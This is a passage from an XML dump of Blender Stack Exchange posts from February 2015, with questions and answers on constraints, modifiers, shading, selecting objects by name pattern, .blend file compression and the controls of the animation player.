recent development build&lt;/a&gt;. This feature should be in 2.74.&lt;/s&gt;&lt;br&gt;&#xA;This feature is now available in &lt;code&gt;timeline panel -&amp;gt; playback (next to the start frame field) -&amp;gt; follow&lt;/code&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2016-12-21T16:36:32.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24289" PostTypeId="2" ParentId="24286" CreationDate="2015-02-05T22:05:48.267" Score="2" Body="&lt;p&gt;enabling &lt;strong&gt;Follow curve&lt;/strong&gt; option  in the &lt;strong&gt;follow path&lt;/strong&gt; constraint force the mesh to deform according to the path &quot;like a curve Modifier does&quot; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4uZKQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to follow the curve without a distortion :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add an empty with a &lt;strong&gt;follow path&lt;/strong&gt; constraint on the same path &lt;/li&gt;&#xA;&lt;li&gt;adjust the &lt;strong&gt;offset&lt;/strong&gt; of the &lt;strong&gt;follow curve&lt;/strong&gt; of the object  &quot; 1.00 or according to your path&quot;&lt;/li&gt;&#xA;&lt;li&gt;add a &lt;strong&gt;locked track&lt;/strong&gt; constraint to the object and set the &lt;strong&gt;target&lt;/strong&gt; to the Empty object&lt;/li&gt;&#xA;&lt;li&gt;keep adjusting the &lt;strong&gt;offset&lt;/strong&gt; till you get a nice result&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-07T09:45:35.680" LastActivityDate="2015-02-07T09:45:35.680" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24290" PostTypeId="2" ParentId="24287" CreationDate="2015-02-05T22:21:23.513" Score="4" Body="&lt;p&gt;you can do that with the shrink wrap modifier as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;original mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yAQiH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0GyNt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the shrink wrap modifier :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k1EjR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you will get this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MOCqm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the road is not curved enough &quot; didnt follow the mountain exactly &quot; try to subdivide it before applying the modifier &lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-05T22:21:23.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24291" PostTypeId="2" ParentId="24228" CreationDate="2015-02-05T22:42:01.787" Score="2" Body="&lt;p&gt;here is a quick solution :&#xA;use this node setup &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9HF74.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;set the pass index of the star to its emission brightness&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1m3kj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is the result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oVUXK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-05T22:42:01.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24292" PostTypeId="2" ParentId="24276" CreationDate="2015-02-06T01:17:37.740" Score="3" Body="&lt;p&gt;Start by adding a circle, with 360 vertices, a radius of 50, and the &lt;em&gt;Fill Type&lt;/em&gt; set to &lt;em&gt;Nothing&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hyd8y.png&quot; alt=&quot;Add circle options&quot;&gt;&lt;br&gt;&#xA;In edit mode rotate the circle along the Y axis by 90°. Then move the circle 900 along the Y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last add a &lt;em&gt;Screw&lt;/em&gt; modifier, with &lt;em&gt;Steps&lt;/em&gt; and  &lt;em&gt;Render Steps&lt;/em&gt; set to &lt;em&gt;1800&lt;/em&gt;. Leave all other modifier settings to default.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ljjLU.png&quot; alt=&quot;screw modifier&quot;&gt;&lt;br&gt;&#xA;You now have a torus with 648,000 vertices and faces; 1800 major segments and 360 minor segments.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-02-06T01:31:31.233" LastActivityDate="2015-02-06T01:31:31.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24293" PostTypeId="2" ParentId="23092" CreationDate="2015-02-06T01:37:23.657" Score="29" Body="&lt;h1&gt;Random shading tips&lt;/h1&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Different world colors for background and reflections&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Below is an example of using a different color for the background than for the reflections. In addition to colors, you can of course also use, for example, an HDR image for reflections and radial gradient for camera, or other kind of combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IxhMl.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IxhMl.jpg&quot; alt=&quot;Different world colors for background and reflections&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Procedural reflections&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For reflective materials something is needed to be reflected. Common and nice looking method is to use an HDR image. However, sometimes a simple gradient node can look nice in reflections. You can sort of 'paint' your reflections with it in real-time, which is cool :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CR1Nw.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CR1Nw.jpg&quot; alt=&quot;Gradient node reflections&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Keep the scale&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When using procedural shaders, it's important to reset the scale of the object if it has been scaled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/I0GJE.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I0GJE.jpg&quot; alt=&quot;Keep the scale&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Don't skimp on detail&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When modeling an object, it's good to test how the light will bounce off the surface. For example, adding some double-beveling easily leads to nicely highlighted rims for some metallic objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xYb6z.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYb6z.jpg&quot; alt=&quot;Don&amp;#39;t skimp on detail&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;My test&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vMEiM.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vMEiM.jpg&quot; alt=&quot;My test&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://files.manujarvinen.com/dented_chrome.blend&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;dented_chrome.blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="8282" LastEditDate="2015-03-09T15:07:40.660" LastActivityDate="2015-03-09T15:07:40.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24294" PostTypeId="5" CreationDate="2015-02-06T02:09:28.767" Score="0" Body="" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-02-06T02:09:28.767" LastActivityDate="2015-02-06T02:09:28.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24295" PostTypeId="4" CreationDate="2015-02-06T02:09:28.767" Score="0" Body="A face is a two-dimensional polygon, the space bounded by three or more edges." OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-02-06T02:09:28.767" LastActivityDate="2015-02-06T02:09:28.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24296" PostTypeId="1" CreationDate="2015-02-06T02:30:26.150" Score="2" ViewCount="133" Body="&lt;p&gt;My question is a variation of one posed in July 2014 using this blender file:&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/95913396/extendedgauntlet1longer.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/95913396/extendedgauntlet1longer.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LyrRq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of flattening the top as originally requested, I want to flatten the object by spreading the wings.  The very top can not be deformed at all as it has interlocking parts.  Basically the lower 3 mm or so, i.e. the thickness of the wings, is what I'd like to deform and flatten.  I've tried the suggestion for the July post and looked at several softbody tutorials and I'm not getting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hertfordkc&lt;/p&gt;&#xA;" OwnerUserId="9598" LastEditorUserId="29" LastEditDate="2015-02-06T07:17:34.627" LastActivityDate="2020-10-20T15:38:57.587" Title="Thermal deformation of plastic" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24297" PostTypeId="2" ParentId="24277" CreationDate="2015-02-06T02:33:42.630" Score="5" Body="&lt;p&gt;The main reason of this answer is to combat the erroneous views as to why the brick texture is distorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The mortar attribute is a constant set by the &lt;em&gt;Mortar Size&lt;/em&gt; option, not a percentage.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This issue is caused by scaling the mesh that the texture is applied to. Applying the scale will not change anything, as the generated UV's for the brick texture still remain the same. You need to UV unwrap your mesh properly and use that to drive the brick texture UV coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A default plane will give this result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eIi1s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While a scaled one will give this result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gbJ2W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, applying scale does nothing. I tried it, several times. Instead, UV unwrap the mesh and set up your nodes like this (or try @chebhou's suggestion):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6pnaw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can change the UV unwrapping and the mortar will change in width as well. You may need to change the size of your bricks once you have the mortar size correct.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-06T02:40:18.230" LastActivityDate="2015-02-06T02:40:18.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24298" PostTypeId="1" AcceptedAnswerId="24312" CreationDate="2015-02-06T03:38:04.440" Score="3" ViewCount="247" Body="&lt;p&gt;I have recently been using the various commands for the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F11&lt;/kbd&gt; (&lt;em&gt;Play Rendered Animation&lt;/em&gt;) window, and it's great. However I have noticed that pressing the &lt;kbd&gt;→&lt;/kbd&gt; key will keep cycling through the rendered frames, and that pressing the &lt;kbd&gt;←&lt;/kbd&gt; key (reverse) will result in the playback stopping at the first frame (0001). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change this behavior? And if not, does anybody know why it is set up this way?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="599" LastEditDate="2015-02-06T07:21:08.320" LastActivityDate="2015-02-06T17:26:13.210" Title="Is it possible to play the rendered animation backwards continuously via the built in player?" Tags="&lt;animation&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24300" PostTypeId="1" CreationDate="2015-02-06T05:52:45.497" Score="1" ViewCount="64" Body="&lt;p&gt;I have started experimenting with the ocean sim modifier, but I am noticing how &quot;symmetrical&quot; the resulting mesh is. No matter how I adjust the parameters, a wave in one corner will appear in the opposite as well, which leads to unrealistic water like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KFlSu.png&quot; alt=&quot;Screenshot of ocean sim modifier result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this is to allow seamless tiling, but in my case I am only interested in one single tile, and am finding the symmetry to be visually disruptive. Is there any way to disable it?&lt;/p&gt;&#xA;" OwnerUserId="1617" LastActivityDate="2015-02-06T05:52:45.497" Title="How can I disable the ocean sim modifier's symmetry?" Tags="&lt;ocean-simulation&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-02-08T02:34:29.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="24301" PostTypeId="1" AcceptedAnswerId="24302" CreationDate="2015-02-06T06:21:03.903" Score="15" ViewCount="5210" Body="&lt;p&gt;I made an asteroid belt from a particle system. Lets say there are 2500 individual asteroids. There are 9 unique models. All the objects are named AsteroidA_LP..., AsteroidB_LP..., etc. all the way to AsteroidI_LP. That makes about 277 asteroids of each type that I need to select so that I can combine them into one object for each different type. I hope to end up with 9 objects, each containing the same type of asteroid that is UV Mapped the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know the best way to do this. Here is what I am doing which beats Shift LMB clicking each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have expanded the Outliner is large as I can. I LMB click to select the first object. I press B and drag a box selection across as many of the same type that I can and then I scroll the outliner and repeat the process until I have all the AsteroidA_LP objects selected with a shade of light blue. Once I have all the objects selected in that manner with box select then I RMB click and choose to select the objects and then press Ctrl+J to join all the objects together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a faster way?&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="599" LastEditDate="2015-02-06T07:12:00.040" LastActivityDate="2015-02-06T07:12:00.040" Title="How can I select hundreds of items in the outliner that have similar names?" Tags="&lt;selection-tools&gt;&lt;outliner&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24302" PostTypeId="2" ParentId="24301" CreationDate="2015-02-06T07:07:41.463" Score="17" Body="&lt;p&gt;Try &lt;em&gt;Select &gt; Pattern&lt;/em&gt;. This will allow you to select objects based on a pattern with a set of wildcards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMutj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The available wildcards are &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, and &lt;code&gt;[...]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;*&lt;/code&gt; to match any number of characters&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;?&lt;/code&gt; to match a single character&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;code&gt;[abc]&lt;/code&gt; (or &lt;code&gt;[ABC]&lt;/code&gt;, but this only matters if &lt;em&gt;Case Sensitive&lt;/em&gt; is enabled) to match any letter, and &lt;code&gt;[0123456789]&lt;/code&gt; to match any number between 0 and 9. You can match specific numbers too, e.g. &lt;code&gt;[127]&lt;/code&gt; will only match &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;2&lt;/code&gt;, and &lt;code&gt;7&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to select all AsteroidA_LP... objects, then it sounds like you want something like &lt;code&gt;AsteroidA_LP.*&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-06T07:07:41.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24303" PostTypeId="1" AcceptedAnswerId="24308" CreationDate="2015-02-06T07:48:47.820" Score="2" ViewCount="2700" Body="&lt;p&gt;I noticed that a .blend containing a single material downloaded from &lt;a href=&quot;http://matrep.parastudios.de/index.php&quot; rel=&quot;nofollow&quot;&gt;Open Material Repository&lt;/a&gt; has only 63KB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default scene saved with compression already uses 447KB of disk space. How can files with less than 100KB be created?&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-06T11:52:15.043" Title="How can the size of a .blend file be reduced?" Tags="&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-02-06T13:41:56.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="24305" PostTypeId="1" AcceptedAnswerId="24331" CreationDate="2015-02-06T09:16:47.200" Score="0" ViewCount="2290" Body="&lt;p&gt;I'm trying to create a road from a plane and a curve which I obtained from converting a mesh. This mesh was at its turn obtained by using the shrink wrap modifier on two meshes. Explained in &lt;a href=&quot;https://blender.stackexchange.com/questions/24287/projecting-a-2d-road-onto-a-3d-elevation-mesh&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tg5Z3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is how the setup looks&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a small plane at the lower left side of the path from top view, intended to be replicated along the path to form the road, as explained in &lt;a href=&quot;http://youtu.be/gPmzhqfw-7I?t=2m10s&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6O92f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is how the modifiers for the plane look.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V38rk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;And this is the monstrosity which I get when I select 'Road' as the Curve modifier's object&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like is that the plane would follow the path and create a road over the mountain. I tried playing with the settings of both modifiers but I'm not getting anywhere expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="11407" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-02-06T18:12:00.070" Title="Array and curve modifiers behave strangely" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="24307" PostTypeId="2" ParentId="24217" CreationDate="2015-02-06T11:36:03.680" Score="1" Body="&lt;p&gt;Yes, currently it is (afaics) only used for bone groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this feature may evolve in future, those colors are actually those of the &lt;strong&gt;action groups&lt;/strong&gt; (i.e. a set of actions). It just happens that currently, they are only set when matching a bone group…&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-06T11:36:03.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24308" PostTypeId="2" ParentId="24303" CreationDate="2015-02-06T11:52:15.043" Score="7" Body="&lt;p&gt;There is an option when you save a .blend file, to compress it (uses a basic zip compression iirc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There’s also an option to always do that by default, in user preferences, &lt;code&gt;File&lt;/code&gt; tab, &lt;code&gt;Save &amp;amp; Load&lt;/code&gt; section.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-02-06T11:52:15.043" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24310" PostTypeId="1" AcceptedAnswerId="24311" CreationDate="2015-02-06T12:42:39.993" Score="2" ViewCount="312" Body="&lt;p&gt;While using the &lt;kbd&gt;F11&lt;/kbd&gt; &lt;em&gt;Play Rendered Animation&lt;/em&gt; window, I have noticed that when you click or press any keys it will pause automatic playback. This lead me to the question,  what controls are there? Is it possible to start automatic playback again?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-06T16:39:13.913" LastActivityDate="2016-11-16T23:45:56.460" Title="What controls are there in the built in player?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24311" PostTypeId="2" ParentId="24310" CreationDate="2015-02-06T12:42:39.993" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;A&lt;/kbd&gt; - toggle frame skipping.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;P&lt;/kbd&gt; toggle ping-pong.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;kbd&gt;↵ Enter&lt;/kbd&gt; start playback (when paused).&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Numpad 0&lt;/kbd&gt; toggle looping.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Numpad .&lt;/kbd&gt; manual frame stepping.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;←&lt;/kbd&gt; step back one frame.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;→&lt;/kbd&gt; step forward one frame.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;↓&lt;/kbd&gt; step back 10 frames.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;↑&lt;/kbd&gt; step forward 10 frames.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;+&lt;kbd&gt;↓&lt;/kbd&gt; use backward playback.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;+&lt;kbd&gt;↑&lt;/kbd&gt; use forward playback.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt; hold to show frame numbers.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; scrub in time.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;+&lt;/kbd&gt; zoom in&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;-&lt;/kbd&gt; zoom out&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;F&lt;/kbd&gt; flip image on the Y axis&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; flip image on the X axis&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;I&lt;/kbd&gt; show frame indicator&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Esc&lt;/kbd&gt; quit&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Playback speed&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;1 NumPad&lt;/kbd&gt; 60 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;2 NumPad&lt;/kbd&gt; 50 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;3 NumPad&lt;/kbd&gt; 30 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;4 NumPad&lt;/kbd&gt; 25 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;+&lt;kbd&gt;4 NumPad&lt;/kbd&gt; 24 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;5 NumPad&lt;/kbd&gt; 20 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;6 NumPad&lt;/kbd&gt; 15 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;7 NumPad&lt;/kbd&gt; 12 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;8 NumPad&lt;/kbd&gt; 10 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;9 NumPad&lt;/kbd&gt; 6 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;/ NumPad&lt;/kbd&gt; 5 fps&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;-&lt;/kbd&gt; slow down playback.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;+&lt;/kbd&gt; speed up playback.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://blender.org/manual/render/display.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;See also the Blender manual.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-11-16T23:45:56.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24312" PostTypeId="2" ParentId="24298" CreationDate="2015-02-06T12:44:53.097" Score="2" Body="&lt;p&gt;Although it is not possible to do this using the arrow keys, there is a way to do it. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;+&lt;kbd&gt;↓&lt;/kbd&gt; use backward playback.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;+&lt;kbd&gt;↑&lt;/kbd&gt; use forward playback.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using these key commands you can toggle between forwards and backwards playback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also the &lt;a href=&quot;http://blender.org/manual/render/display.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;manual&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-02-06T16:48:50.023" LastActivityDate="2015-02-06T16:48:50.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
